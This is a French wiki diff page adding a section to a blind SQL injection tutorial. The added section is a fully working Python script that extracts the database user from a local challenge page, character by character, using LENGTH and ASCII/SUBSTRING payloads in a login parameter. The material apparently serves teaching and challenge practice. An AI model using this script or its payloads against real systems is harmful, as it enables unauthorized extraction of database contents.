Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
failles_web:blind_sql_injection [2012/06/27 16:47] TheLizardKing [ASCII, SUBSTRING et LENGTH] |
failles_web:blind_sql_injection [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 164: | Ligne 164: | ||
Bon, comme c'est super long, on va coder un petit script en python qui nous permet de faire ça sans trop se fatiguer :-) | Bon, comme c'est super long, on va coder un petit script en python qui nous permet de faire ça sans trop se fatiguer :-) | ||
+ | |||
+ | |||
+ | ==== Script pour automatiser ==== | ||
+ | |||
+ | A priori ce script est pas trop compliqué et largement commenté. Cependant si vous avez des questions, n'hésitez pas ;-) Il faut évidemment l'adapter à votre environnement : host, nom du fichier, ... | ||
+ | |||
+ | <file PYTHON exploit.py> | ||
+ | #!/usr/bin/env python | ||
+ | # -*- coding: utf-8 -*- | ||
+ | |||
+ | import httplib | ||
+ | from urllib import quote as urlencode | ||
+ | |||
+ | def main(): | ||
+ | |||
+ | # Requête dont on souhaite découvrir ce qu'elle renvoit | ||
+ | payload = "SELECT user()" | ||
+ | |||
+ | # On commence par chercher la taille de ce que l'on cherche | ||
+ | length = 0 | ||
+ | while True: | ||
+ | |||
+ | conn = httplib.HTTPConnection('localhost:8888') | ||
+ | conn.request("GET","/chall.php?user=user&pass="+ urlencode("pass' OR LENGTH(({0}))={1} -- -".format(payload,length))) | ||
+ | rep = conn.getresponse().read() | ||
+ | |||
+ | if rep.count("Welcome") > 0: # notre requête renvois True - on a donc la taille de la chaine | ||
+ | print "Taille =",length | ||
+ | break | ||
+ | else: | ||
+ | print "Taille !=", length | ||
+ | length += 1 | ||
+ | |||
+ | # On cherche maintenant chaque caractère | ||
+ | reponse = "" | ||
+ | for offset in range(1,length+1): # on parcours chaque char | ||
+ | for char in range(32,127): # pour chaque char, on regarde chaque valeur ascii possible | ||
+ | conn = httplib.HTTPConnection('localhost:8888') | ||
+ | conn.request("GET","/chall.php?user=user&pass="+urlencode("pass' OR ASCII(SUBSTRING(({0}),{1},1))={2} -- -".format(payload,offset,char))) | ||
+ | rep = conn.getresponse().read() | ||
+ | |||
+ | if rep.count("Welcome") > 0: # notre requête renvois True - on a donc le bon char | ||
+ | reponse += chr(char) | ||
+ | print reponse | ||
+ | break | ||
+ | else: | ||
+ | print reponse, chr(char) | ||
+ | |||
+ | |||
+ | if __name__ == '__main__': | ||
+ | main() | ||
+ | </file> | ||